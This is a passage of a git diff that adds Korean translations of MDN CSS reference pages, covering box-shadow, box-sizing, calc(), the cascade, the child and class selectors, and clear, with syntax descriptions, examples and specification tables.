box-shadow 속성은 거의 모든 요소의 테두리에서 그림자를 드리울 수 있도록 도와줍니다. {{cssxref("border-radius")}}가 요소에 함께 적용됐다면 박스 그림자의 모서리도 똑같이 둥근 모서리를 갖게 됩니다. 여러 그림자의 z축 순서는 {{cssxref("text-shadow")}}와 동일하게 처음 그림자일수록 위로 올라옵니다.

+ +

박스 그림자 생성기는 상호작용형 도구로, 쉽게 box-shadow의 값을 생성할 수 있습니다.

+ +

구문

+ +
/* offset-x | offset-y | color */
+box-shadow: 60px -16px teal;
+
+/* offset-x | offset-y | blur-radius | color */
+box-shadow: 10px 5px 5px black;
+
+/* offset-x | offset-y | blur-radius | spread-radius | color */
+box-shadow: 2px 2px 2px 1px rgba(0, 0, 0, 0.2);
+
+/* inset | offset-x | offset-y | color */
+box-shadow: inset 5em 1em gold;
+
+/* Any number of shadows, separated by commas */
+box-shadow: 3px 3px red, -1em 0 0.4em olive;
+
+/* Global keywords */
+box-shadow: inherit;
+box-shadow: initial;
+box-shadow: unset;
+
+ +

하나의 box-shadow는 다음 구성요소로 지정할 수 있습니다.

+ +
    +
  • 두 개에서 네 개의 {{cssxref("<length>")}} 값. +
      +
    • 두 개의 값을 사용하면 <offset-x><offset-y>로 분석합니다.
    • +
    • 세 번째 값이 주어지면 <blur-radius>로 분석합니다.
    • +
    • 네 번째 값이 주어지면 <spread-radius>로 분석합니다.
    • +
    +
  • +
  • 선택사항으로 inset 키워드.
  • +
  • 선택사항으로 {{cssxref("<color>")}} 값.
  • +
+ +

+ +
+
inset
+
값을 지정하지 않으면(기본값) 요소가 공중에 떠있는 것처럼 밖에 드리우는 그림자가 됩니다.
+ inset 키워드가 존재하면 요소가 움푹 들어간 것처럼 그림자가 요소의 테두리 안, 배경색 위, 내부 콘텐츠 밑에 그려집니다.
+
<offset-x> <offset-y>
+
그림자의 위치를 설정하는 두 개의 {{cssxref("<length>")}} 값입니다. <offset-x>는 수평 거리를 의미하며 음수 값은 그림자를 요소의 왼쪽에 표시합니다. <offset-y>는 수직 거리를 의미하며 음수 값은 그림자를 요소의 위쪽에 표시합니다. 가능한 단위는 {{cssxref("<length>")}}를 참고하세요.
+ 두 값이 모두 0이면 그림자가 요소 바로 뒤쪽에 위치하며, <blur-radius> 또는 <spread-radius>가 존재하면 흐려지는 효과를 볼 수 있습니다.
+
<blur-radius>
+
세 번째 {{cssxref("<length>")}} 값입니다. 크면 클 수록 그림자 테두리가 흐려지므로 크기는 더 커지고 색은 더 밝아집니다. 음수 값은 사용할 수 없습니다. 값을 설정하지 않으면 0이 되어 테두리가 선명해집니다. 명세는 흐림 효과의 지름을 어떻게 계산해야 하는지 정확한 알고리즘은 명시하지 않았지만 대신 다음과 같이 설명하고 있습니다.
+
+

…for a long, straight shadow edge, this should create a color transition the length of the blur distance that is perpendicular to and centered on the shadow’s edge, and that ranges from the full shadow color at the radius endpoint inside the shadow to fully transparent at the endpoint outside it.

+
+
<spread-radius>
+
네 번째 {{cssxref("<length>")}} 값입니다. 양수 값은 그림자가 더 커지고 확산하며, 음수 값은 그림자가 줄어듭니다. 기본값은 0(그림자와 요소 크기 동일)입니다. 
+
<color>
+
가능한 키워드와 표기법은 {{cssxref("<color>")}}를 참고하세요.
+ 기본값은 브라우저에 따라 다릅니다. 보통 {{cssxref("color")}} 속성의 값을 사용하지만, Safari는 투명한 그림자가 기본값입니다.
+
+ +

보간

+ +

Each shadow in the list (treating none as a 0-length list) is interpolated via the color (as color) component, and x, y, blur, and (when appropriate) spread (as length) components. For each shadow, if both input shadows are or are not inset, then the interpolated shadow must match the input shadows in that regard. If any pair of input shadows has one inset and the other not inset, the entire shadow list is uninterpolable. If the lists of shadows have different lengths, then the shorter list is padded at the end with shadows whose color is transparent, all lengths are 0, and whose inset (or not) matches the longer list.

+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Backgrounds', '#box-shadow', 'box-shadow') }}{{ Spec2('CSS3 Backgrounds') }} 
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ +

{{Compat("css.properties.box-shadow")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("<color>")}} 자료형
  • +
  • Other color-related properties: {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}
  • +
  • Applying color to HTML elements using CSS
  • +
diff --git a/files/ko/web/css/box-sizing/index.html b/files/ko/web/css/box-sizing/index.html new file mode 100644 index 0000000000..7241c0f65b --- /dev/null +++ b/files/ko/web/css/box-sizing/index.html @@ -0,0 +1,119 @@ +--- +title: box-sizing +slug: Web/CSS/box-sizing +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/box-sizing +--- +
{{CSSRef}}
+ +

box-sizing CSS 속성은 요소의 너비와 높이를 계산하는 방법을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/box-sizing.html")}}
+ + + +

CSS 박스 모델의 기본값에서, 지정한 너비와 높이는 요소의 콘텐츠 박스 크기에만 적용됩니다. 요소에 테두리나 안쪽 여백이 있으면 너비와 높이에 더해서 화면에 그립니다. 따라서 크기를 설정할 때, 원하는 크기를 얻으려면 테두리나 안쪽 여백을 고려해야 합니다.

+ +

box-sizing 속성을 사용해 이 방식을 바꿀 수 있습니다.

+ +
    +
  • content-box는 기본 CSS 박스 크기 결정법을 사용합니다. 요소의 너비를 100 픽셀로 설정하면 콘텐츠 영역이 100 픽셀 너비를 가지고, 테두리와 안쪽 여백은 이에 더해집니다.
  • +
  • border-box는 테두리와 안쪽 여백의 크기도 요소의 크기로 고려합니다. 너비를 100 픽셀로 설정하고 테두리와 안쪽 여백을 추가하면, 콘텐츠 영역이 줄어들어 총 너비 100 픽셀을 유지합니다. 대부분의 경우 이 편이 크기를 조절할 때 쉽습니다.
  • +
+ +

구문

+ +

box-sizing 속성은 다음 키워드 중 하나로 지정할 수 있습니다.

+ +

+ +
+
content-box
+
CSS 표준이 정의한 초기 기본값. {{Cssxref("width")}}와 {{Cssxref("height")}} 속성이 콘텐츠 영역만 포함하고 안팎 여백과 테두리는 포함하지 않습니다. 즉 .box {width: 350px; border: 10px solid black;}을 적용한 요소의 너비는 370px입니다.
+
요소의 크기는 너비 = 콘텐츠 너비, 높이 = 콘텐츠 높이로 계산하고 테두리와 안쪽 여백은 식에 넣지 않습니다.
+
border-box
+
{{Cssxref("width")}} 와 {{Cssxref("height")}} 속성이 안쪽 여백과 테두리는 포함하고, 바깥 여백은 포함하지 않습니다. 안쪽 여백과 테두리가 요소 상자 안에 위치함을 유의하세요. 즉 .box {width: 350px; border: 10px solid black;}을 적용한 요소의 너비는 350px입니다. 콘텐츠 영역의 크기는 음수일 수 없으므로 border-box를 사용해 요소를 사라지게 할 수는 없습니다.
+
요소의 크기는 너비 = 테두리 + 안쪽 여백 + 콘텐츠 너비, 높이 = 테두리 + 안쪽 여백 + 콘텐츠 높이로 계산합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

다음 예제는 두 개의 동일한 요소의 크기가 서로 다른 box-sizing 값으로 어떻게 달라지는지 보입니다.

+ +

HTML

+ +
<div class="content-box">Content box</div>
+<br>
+<div class="border-box">Border box</div>
+ +

CSS

+ +
div {
+  width: 160px;
+  height: 80px;
+  padding: 20px;
+  border: 8px solid red;
+  background: yellow;
+}
+
+.content-box {
+  box-sizing: content-box;
+  /* Total width: 160px + (2 * 20px) + (2 * 8px) = 216px
+     Total height: 80px + (2 * 20px) + (2 * 8px) = 136px
+     Content box width: 160px
+     Content box height: 80px */
+}
+
+.border-box {
+  box-sizing: border-box;
+  /* Total width: 160px
+     Total height: 80px
+     Content box width: 160px - (2 * 20px) - (2 * 8px) = 104px
+     Content box height: 80px - (2 * 20px) - (2 * 8px) = 24px */
+}
+
+ +

결과

+ +

{{EmbedLiveSample('예제', 'auto', 300)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Basic UI', '#box-sizing', 'box-sizing')}}{{Spec2('CSS3 Basic UI')}} 
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.box-sizing")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/calc()/index.html b/files/ko/web/css/calc()/index.html new file mode 100644 index 0000000000..7a155befb3 --- /dev/null +++ b/files/ko/web/css/calc()/index.html @@ -0,0 +1,160 @@ +--- +title: calc() +slug: Web/CSS/calc() +tags: + - CSS + - CSS Function + - Layout + - Reference + - Web +translation_of: Web/CSS/calc() +--- +
{{CSSRef}}
+ +

calc() CSS 함수를 사용하면 CSS 속성의 값으로 계산식을 지정할 수 있습니다. {{cssxref("<length>")}}, {{cssxref("<frequency>")}}, {{cssxref("<angle>")}}, {{cssxref("<time>")}}, {{cssxref("<percentage>")}}, {{cssxref("<number>")}}, 또는 {{cssxref("<integer>")}}를 받는 속성의 값으로 사용할 수 있습니다.

+ +

구문

+ +
/* property: calc(expression) */
+width: calc(100% - 80px);
+
+ +

calc() 함수는 매개변수로 표현식 하나를 받고, 표현식의 결과가 최종 값이 됩니다. 표현식은 단순 계산식은 무엇이든 가능하며, 표준 연산자 우선순위를 따릅니다.

+ +
+
+
+
덧셈.
+
-
+
뺄셈.
+
*
+
곱셈. 하나 이상의 피연산자가 {{cssxref("<number>")}}여야 합니다.
+
/
+
나눗셈. 오른쪽 피연산자는 {{cssxref("<number>")}}여야 합니다.
+
+ +

피연산자로는 {{cssxref("<length>")}} 구문의 아무 값이나 사용할 수 있고, 원한다면 서로 다른 단위끼리도 계산할 수 있습니다. 괄호를 사용해서 연산 순서를 바꿀 수도 있습니다.

+ +

참고

+ +
    +
  • 0으로 나누면 HTML 구문분석기에서 오류가 발생합니다.
  • +
  • +- 연산자는 좌우에 공백이 있어야 합니다. calc(50% -8px)은 백분율 값과 음수 길로 해석하여 유효하지 않지만, calc(50% - 8px)은 백분율과 길이의 뺄셈으로 해석합니다. 마찬가지로, calc(8px + -50%)는 길이와 음의 백분율간의 덧셈으로 처리합니다.
  • +
  • */ 연산자는 좌우 공백을 요구하지 않지만, 그래도 추가하는 편이 일관성을 유지하기에 좋습니다.
  • +
  • 표의 행, 열, 행/열 그룹, 자동이나 고정 레이아웃 칸에서 백분율을 포함한 수학식을 너비나 높이로 사용하면 auto 키워드를 사용한 것과 동일하게 처리합니다.
  • +
  • calc() 함수를 중첩해서 사용하면 내부의 calc()는 단순한 괄호로 간주합니다.
  • +
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

요소를 화면에 여백과 함께 배치하기

+ +

calc()를 이용하면 고정된 너비의 여백을 가진 요소를 쉽게 배치할 수 있습니다. 다음 예제에서는 화면을 가로지르면서 창의 좌우 모서리와 간격이 40픽셀인 배너를 생성합니다.

+ +
.banner {
+  position: absolute;
+  left: 40px;
+  width: calc(100% - 80px);
+  border: solid black 1px;
+  box-shadow: 1px 2px;
+  background-color: yellow;
+  padding: 6px;
+  text-align: center;
+  box-sizing: border-box;
+}
+ +
<div class="banner">이건 현수막입니다!</div>
+ +

{{EmbedLiveSample('요소를_화면에_여백과_함께_배치하기', 'auto', '60')}}

+ +

입력 양식 요소를 컨테이너 크기에 자동으로 맞추기

+ +

calc()의 다른 용도는 입력 양식의 필드가 적절한 여백을 갖추면서도 컨테이너 모서리 바깥으로 빠져나가지 않도록 설정하는 것입니다.

+ +

다음 CSS 코드를 살펴보세요.

+ +
input {
+  padding: 2px;
+  display: block;
+  width: calc(100% - 1em);
+}
+
+#formbox {
+  width: calc(100% / 6);
+  border: 1px solid black;
+  padding: 4px;
+}
+ +

위 코드에서, 폼 스스로는 창에서 사용 가능한 공간의 1/6을 차지합니다. 그 후, 입력 필드가 적절한 크기를 가질 수 컨테이너 너비에서 1em 뺀 만큼을 calc()로 지정했습니다. 이제 HTML에 CSS를 적용해보겠습니다.

+ +
<form>
+  <div id="formBox">
+    <label>뭔가 입력해 보세요.</label>
+    <input type="text">
+  </div>
+</form>
+
+ +

{{EmbedLiveSample('입력_양식_요소를_컨테이너_크기에_자동으로_맞추기', '100%', '80')}}

+ +

CSS 변수와 중첩 calc()

+ +

CSS 변수calc()와 같이 사용할 수 있습니다. 다음 코드를 살펴보세요.

+ +
.foo {
+  --widthA: 100px;
+  --widthB: calc(var(--widthA) / 2);
+  --widthC: calc(var(--widthB) / 2);
+  width: var(--widthC);
+}
+ +

모든 변수를 펼치면 widthC의 값은 calc( calc( 100px / 2) / 2)가 됩니다. 그 후 .foo의 너비 속성으로 지정될 때, 모든 중첩 calc()는 깊이에 관계 없이 단순한 괄호로 바뀌므로 width 속성의 값은 calc( ( 100px / 2) / 2), 즉 25px이 됩니다. 요약하자면 calc() 안의 calc()는 그냥 괄호와 같습니다.

+ +

접근성 고려사항

+ +

calc()를 사용해 글씨 크기를 조절할땐 아래 코드처럼 피연산자 중 하나로 꼭 상대길이 단위를 사용해주세요.

+ +
h1 {
+  font-size: calc(1.5rem + 3vw);
+}
+ +

이제 페이지를 확대해도 글씨 크기의 비율이 적절히 유지됩니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName('CSS3 Values', '#calc-notation', 'calc()')}}{{Spec2('CSS3 Values')}}최초로 정의됨.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.calc")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/cascade/index.html b/files/ko/web/css/cascade/index.html new file mode 100644 index 0000000000..e7d073cddb --- /dev/null +++ b/files/ko/web/css/cascade/index.html @@ -0,0 +1,229 @@ +--- +title: 종속 +slug: Web/CSS/Cascade +tags: + - CSS + - Guide + - Introduction + - Layout + - Reference +translation_of: Web/CSS/Cascade +--- +
{{CSSRef}}
+ +

종속(Cascade)이란 서로 다른 원점에서 가져온 속성 여럿을 조합해 최종 결과를 도출하는 알고리즘입니다. Cascading Style Sheets라는 이름에서도 알 수 있듯 종속은 CSS의 중심입니다. 이 글은 종속이 무엇인지, 선언한 {{Glossary("CSS")}} 정의가 어떤 순서로 종속되는지, 그리고 여러분, 즉 웹 개발자에게 어떤 영향을 주는지 설명합니다.

+ +

Which CSS entities participate in the cascade

+ +

Only CSS declarations, that is property/value pairs, participate in the cascade. This means that at-rules containing entities other than declarations, such as a {{ cssxref("@font-face")}} rule containing descriptors, don't participate in the cascade. In these cases, only the at-rule as a whole participates in the cascade: here, the @font-face identified by its font-family descriptor. If several @font-face rules with the same descriptor are defined, only the most appropriate @font-face, as a whole, is considered.

+ +

While the declarations contained in most at-rules — such as those in {{cssxref("@media")}}, {{cssxref("@document")}}, or {{cssxref("@supports")}} — participate in the cascade, declarations contained in {{cssxref("@keyframes")}} don't. As with @font-face, only the at-rule as a whole is selected via the cascade algorithm.

+ +

Finally, note that {{cssxref("@import")}} and {{cssxref("@charset")}} obey specific algorithms and aren't affected by the cascade algorithm.

+ +

Origin of CSS declarations

+ +

The CSS cascade algorithm's job is to select CSS declarations in order to determine the correct values for CSS properties. CSS declarations originate from different origins: the {{anch("User-agent stylesheets")}}, the {{anch("Author stylesheets")}}, and the {{anch("User stylesheets")}}.

+ +

Though style sheets come from these different origins, they overlap in scope; to make this work, the cascade algorithm defines how they interact.

+ +

User-agent stylesheets

+ +

The browser has a basic style sheet that gives a default style to any document. These style sheets are named user-agent stylesheets. Some browsers use actual style sheets for this purpose, while others simulate them in code, but the end result is the same.

+ +

Some browsers let users modify the user-agent stylesheet. Although some constraints on user-agent stylesheets are set by the HTML specification, browsers still have a lot of latitude: that means that significant differences exist from one browser to another. To simplify the development process, Web developers often use a CSS reset style sheet, forcing common properties values to a known state before beginning to make alterations to suit their specific needs.

+ +

Author stylesheets

+ +

Author stylesheets are the most common type of style sheet. These are style sheets that define styles as part of the design of a given web page or site. The author of the page defines the styles for the document using one or more stylesheets, which define the look and feel of the website — its theme.

+ +

User stylesheets

+ +

The user (or reader) of the web site can choose to override styles in many browsers using a custom user stylesheet designed to tailor the experience to the user's wishes.

+ +

Override stylesheets {{Obsolete_Inline}}

+ +

This feature was never implemented outside of Gecko, where it was only ever used for the non-standard XBL stylesheets.

+ +

Cascading order

+ +

The cascading algorithm determines how to find the value to apply for each property for each document element.

+ +
    +
  1. It first filters all the rules from the different sources to keep only the rules that apply to a given element. That means rules whose selector matches the given element and which are part of an appropriate media at-rule.
  2. +
  3. Then it sorts these rules according to their importance, that is, whether or not they are followed by !important, and by their origin. The cascade is in ascending order, which means that !important values from a user-defined style sheet have precedence over normal values originated from a user-agent style sheet: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
     OriginImportance
    1CSS Transitionssee below
    2user agentnormal
    3usernormal
     override {{Obsolete_Inline}}normal
    4authornormal
    5CSS Animationssee below
     override {{Obsolete_Inline}}!important
    6author!important
    7user!important
    8user agent!important
    +
  4. +
  5. In case of equality, the specificity of a value is considered to choose one or the other.
  6. +
+ +

Resetting styles

+ +

After your content has finished altering styles, it may find itself in a situation where it needs to restore them to a known state. This may happen in cases of animations, theme changes, and so forth. The CSS property {{cssxref("all")}} lets you quickly set (almost) everything in CSS back to a known state.

+ +

all lets you opt to immediately restore all properties to any of their initial (default) state, the state inherited from the previous level of the cascade, a specific origin (the user-agent stylesheet, the author stylesheet, or the user stylesheet), or even to clear the values of the properties entirely.

+ +

CSS animations and the cascade

+ +

CSS animations, using {{ cssxref("@keyframes")}} at-rules, define animations between states. Keyframes don't cascade, meaning that at any given time CSS takes values from only one single {{cssxref("@keyframes")}}, and never mixes multiple ones together.

+ +

When several keyframes are appropriate, it chooses the latest defined in the most important document, but never combined all together.

+ +

Also note that values within @keyframes at-rules overwrite all normal values but are overwritten by !important values.

+ +

Example

+ +

Let's look at an example involving multiple sources of CSS across the various origins; here we have a user agent style sheet, two author style sheets, a user stylesheet, and inline styles within the HTML:

+ +

User-agent CSS:

+ +
li { margin-left: 10px }
+ +

Author CSS 1:

+ +
li { margin-left: 0 } /* This is a reset */
+ +

Author CSS 2:

+ +
@media screen {
+  li { margin-left: 3px }
+}
+
+@media print {
+  li { margin-left: 1px }
+}
+
+ +

User CSS:

+ +
.specific { margin-left: 1em }
+ +

HTML:

+ +
<ul>
+  <li class="specific">1<sup>st</sup></li>
+  <li>2<sup>nd</sup></li>
+</ul>
+
+ +

In this case, declarations inside li and .specific rules should apply. No declaration is marked as !important, so the precedence order is author style sheets before user style sheets or user-agent stylesheet.

+ +

So three declarations are in competition:

+ +
margin-left: 0
+ +
margin-left: 3px
+ +
margin-left: 1px
+ +

The last one is ignored (on a screen), and the first two have the same selector, hence the same specificity. Therefore, it is the last one that is then selected:

+ +
margin-left: 3px
+ +

Note that the declaration defined in the user CSS, though having a greater specifity, is not chosen as the cascade algorithm is applied before the specifity algorithm.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Cascade")}}{{Spec2("CSS4 Cascade")}}Added the {{CSSxRef("revert")}} keyword, which allows rolling a property back a cascade level.
{{SpecName("CSS3 Cascade")}}{{Spec2("CSS3 Cascade")}}Removed the override cascade origin, as it was never used in a W3C standard.
{{SpecName("CSS2.1", "cascade.html", "the cascade")}}{{Spec2("CSS2.1")}} 
{{SpecName("DOM2 Style","css.html#CSS-OverrideAndComputed","override cascade origin")}}{{Spec2("DOM2 Style")}}Defined the override cascade origin, but didn't elaborate further.
{{SpecName("CSS1", "#the-cascade", "the cascade")}}{{Spec2("CSS1")}}Initial definition.
+ +

See also

+ + diff --git a/files/ko/web/css/child_combinator/index.html b/files/ko/web/css/child_combinator/index.html new file mode 100644 index 0000000000..dceec68d92 --- /dev/null +++ b/files/ko/web/css/child_combinator/index.html @@ -0,0 +1,92 @@ +--- +title: 자식 결합자 +slug: Web/CSS/Child_combinator +tags: + - CSS + - Reference + - Selectors +translation_of: Web/CSS/Child_combinator +--- +
{{CSSRef("Selectors")}}
+ +

자식 결합자(>)는 두 개의 CSS 선택자 사이에 위치하여 뒤쪽 선택자의 요소가 앞쪽 선택자 요소의 바로 밑에 위치할 경우에만 선택합니다.

+ +
/* List items that are children of the "my-things" list */
+ul.my-things > li {
+  margin: 2em;
+}
+ +

뒤쪽 선택자의 요소는 앞쪽 선택자 요소의 바로 아래에 위치해야 하므로, DOM 트리의 깊이에 상관하지 않고 아래의 모든 요소를 선택하는 자손 결합자보다 더 엄격합니다.

+ +

구문

+ +
selector1 > selector2 { style properties }
+
+ +

예제

+ +

CSS

+ +
span {
+  background-color: white;
+}
+
+div > span {
+  background-color: DodgerBlue;
+}
+
+ +

HTML

+ +
<div>
+  <span>Span #1, in the div.
+    <span>Span #2, in the span that's in the div.</span>
+  </span>
+</div>
+<span>Span #3, not in the div at all.</span>
+
+ +

결과

+ +

{{EmbedLiveSample("예제", "100%", 100)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#child-combinators", "child combinator")}}{{Spec2("CSS4 Selectors")}}
{{SpecName("CSS3 Selectors", "#child-combinators", "child combinators")}}{{Spec2("CSS3 Selectors")}}No change.
{{SpecName("CSS2.1", "selector.html#child-selectors", "child selectors")}}{{Spec2("CSS2.1")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.child")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/class_selectors/index.html b/files/ko/web/css/class_selectors/index.html new file mode 100644 index 0000000000..70c84faa98 --- /dev/null +++ b/files/ko/web/css/class_selectors/index.html @@ -0,0 +1,107 @@ +--- +title: 클래스 선택자 +slug: Web/CSS/Class_selectors +tags: + - CSS + - Reference + - Selectors +translation_of: Web/CSS/Class_selectors +--- +
{{CSSRef}}
+ +

CSS 클래스 선택자는 요소의 {{htmlattrxref("class")}} 특성에 기반해 요소를 선택합니다.

+ +
/* All elements with class="spacious" */
+.spacious {
+  margin: 2em;
+}
+
+/* All <li> elements with class="spacious" */
+li.spacious {
+  margin: 2em;
+}
+
+/* All <li> elements with a class list that includes both "spacious" and "elegant" */
+/* For example, class="elegant retro spacious" */
+li.spacious.elegant {
+  margin: 2em;
+}
+
+ +

구문

+ +
.class_name { style properties }
+ +

위의 구문은 특성 선택자를 사용한 다음 구문과 동일합니다.

+ +
[class~=class_name] { style properties }
+ +

예제

+ +

CSS

+ +
.red {
+  color: #f33;
+}
+
+.yellow-bg {
+  background: #ffa;
+}
+
+.fancy {
+  font-weight: bold;
+  text-shadow: 4px 4px 3px #77f;
+}
+
+ +

HTML

+ +
<p class="red">빨간 글자색의 문단입니다.</p>
+<p class="red yellow-bg">빨간 글자색과 노란 배경의 문단입니다.</p>
+<p class="red fancy">빨간 글자색과 "멋진" 스타일을 가진 문단입니다.</p>
+<p>이건 그냥 문단이에요.</p>
+
+ +

결과

+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Selectors', '#class-html', 'class selectors')}}{{Spec2('CSS4 Selectors')}}No changes
{{SpecName('CSS3 Selectors', '#class-html', 'class selectors')}}{{Spec2('CSS3 Selectors')}}
{{SpecName('CSS2.1', 'selector.html#class-html', 'child selectors')}}{{Spec2('CSS2.1')}}
{{SpecName('CSS1', '#class-as-selector', 'child selectors')}}{{Spec2('CSS1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.class")}}

diff --git a/files/ko/web/css/clear/index.html b/files/ko/web/css/clear/index.html new file mode 100644 index 0000000000..f4ed21f1e9 --- /dev/null +++ b/files/ko/web/css/clear/index.html @@ -0,0 +1,231 @@ +--- +title: clear +slug: Web/CSS/clear +tags: + - CSS + - CSS Positioning + - CSS Property + - Reference +translation_of: Web/CSS/clear +--- +
{{CSSRef}}
+ +

clear CSS 속성은 요소가 선행 부동(floating) 요소 다음일 수 있는지 또는 그 아래로 내려가(해제되어(cleared))야 하는 지를 지정합니다. clear 속성은 부동 및 비부동 요소 모두에 적용됩니다.

+ +
{{EmbedInteractiveExample("pages/css/clear.html")}}
+ + + +

비부동 블록에 적용되는 경우, 모든 관련 부동체(floats)의 마진 경계 아래로까지 요소의 보더 경계를 아래로 내립니다. 이 움직임(이 일어나는 경우)은 마진 상쇄가 일어나지 않도록 합니다.

+ +

부동 요소에 적용되는 경우, 모든 관련 부동체의 마진 경계 아래로 요소의 마진 경계를 옮깁니다. 이는 나중(later) 부동체의 위치에 영향을 줍니다, 나중 부동체가 앞선(earlier) 부동체보다 높게 위치될 수 없기에.

+ +

해제(cleared)와 관련된 부동체는 같은 블록 형성 문맥 내 앞선 부동체입니다.

+ +
+

주의: 요소가 그 안에 모든 부동 요소를 포함하고 싶은 경우, 컨테이너도 부동하거나 컨테이너의 {{cssxref("::after")}} 대체 가상 요소clear를 쓸 수 있습니다.

+ +
#container::after {
+   content: "";
+   display: block;
+   clear: both;
+}
+
+
+ +

구문

+ +
/* 키워드 값 */
+clear: none;
+clear: left;
+clear: right;
+clear: both;
+clear: inline-start;
+clear: inline-end;
+
+/* 전역 값 */
+clear: inherit;
+clear: initial;
+clear: unset;
+ +

+ +
+
none
+
요소가 지난 부동 요소를 해제하기 위해 아래로 이동되지 않음을 나타내는 키워드입니다.
+
left
+
요소가 지난 left 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다.
+
right
+
요소가 지난 right 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다.
+
both
+
요소가 지난 both left 및 right 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다.
+
inline-start
+
요소가 포함 블록의 시작 쪽 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다, 즉 ltr 스크립트의 left 부동체 및 rtl 스크립트의 right 부동체.
+
inline-end
+
요소가 포함 블록의 끝 쪽 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다, 즉 ltr 스크립트의 right 부동체 및 rtl 스크립트의 left 부동체.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

clear: left

+ +

HTML

+ +
<div class="wrapper">
+  <p class="black">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.</p>
+  <p class="red">Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p>
+  <p class="left">This paragraph clears left.</p>
+</div>
+ +

CSS

+ +
.wrapper{
+    border:1px solid black;
+    padding:10px;
+}
+.left {
+    border: 1px solid black;
+    clear: left;
+}
+.black {
+    float: left;
+    margin: 0;
+    background-color: black;
+    color: #fff;
+    width: 20%;
+}
+.red {
+    float: left;
+    margin: 0;
+    background-color: red;
+    width:20%;
+}
+p {
+    width: 50%;
+}
+
+ +

{{ EmbedLiveSample('clear:_left','100%','250') }}

+ +

clear: right

+ +

HTML

+ +
<div class="wrapper">
+  <p class="black">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.</p>
+  <p class="red">Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p>
+  <p class="right">This paragraph clears right.</p>
+</div>
+ +

CSS

+ +
.wrapper{
+    border:1px solid black;
+    padding:10px;
+}
+.right {
+    border: 1px solid black;
+    clear: right;
+}
+.black {
+    float: right;
+    margin: 0;
+    background-color: black;
+    color: #fff;
+    width:20%;
+}
+.red {
+    float: right;
+    margin: 0;
+    background-color: red;
+    width:20%;
+}
+p {
+    width: 50%;
+}
+ +

{{ EmbedLiveSample('clear:_right','100%','250') }}

+ +

clear: both

+ +

HTML

+ +
<div class="wrapper">
+  <p class="black">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor. Fusce pulvinar lacus ac dui.</p>
+  <p class="red">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.</p>
+  <p class="both">This paragraph clears both.</p>
+</div>
+ +

CSS

+ +
.wrapper{
+    border:1px solid black;
+    padding:10px;
+}
+.both {
+    border: 1px solid black;
+    clear: both;
+}
+.black {
+    float: left;
+    margin: 0;
+    background-color: black;
+    color: #fff;
+    width:20%;
+}
+.red {
+    float: right;
+    margin: 0;
+    background-color: red;
+    width:20%;
+}
+p {
+    width: 45%;
+}
+ +

{{ EmbedLiveSample('clear:_both','100%','300') }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}{{Spec2('CSS Logical Properties')}}inline-startinline-end 값 추가
{{SpecName('CSS2.1', 'visuren.html#flow-control', 'clear')}}{{Spec2('CSS2.1')}}중요한 변화 없음, 세부사항은 명확해졌지만.
{{SpecName('CSS1', '#clear', 'clear')}}{{Spec2('CSS1')}}초기 정의
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ +
{{Compat("css.properties.clear")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/css/clip-path/index.html b/files/ko/web/css/clip-path/index.html new file mode 100644 index 0000000000..588fb46724 --- /dev/null +++ b/files/ko/web/css/clip-path/index.html @@ -0,0 +1,614 @@ +--- +title: clip-path +slug: Web/CSS/clip-path +tags: + - CSS + - CSS Masking + - CSS Property + - Experimental + - Reference + - Web +translation_of: Web/CSS/clip-path +--- +
{{CSSRef}}
+ +

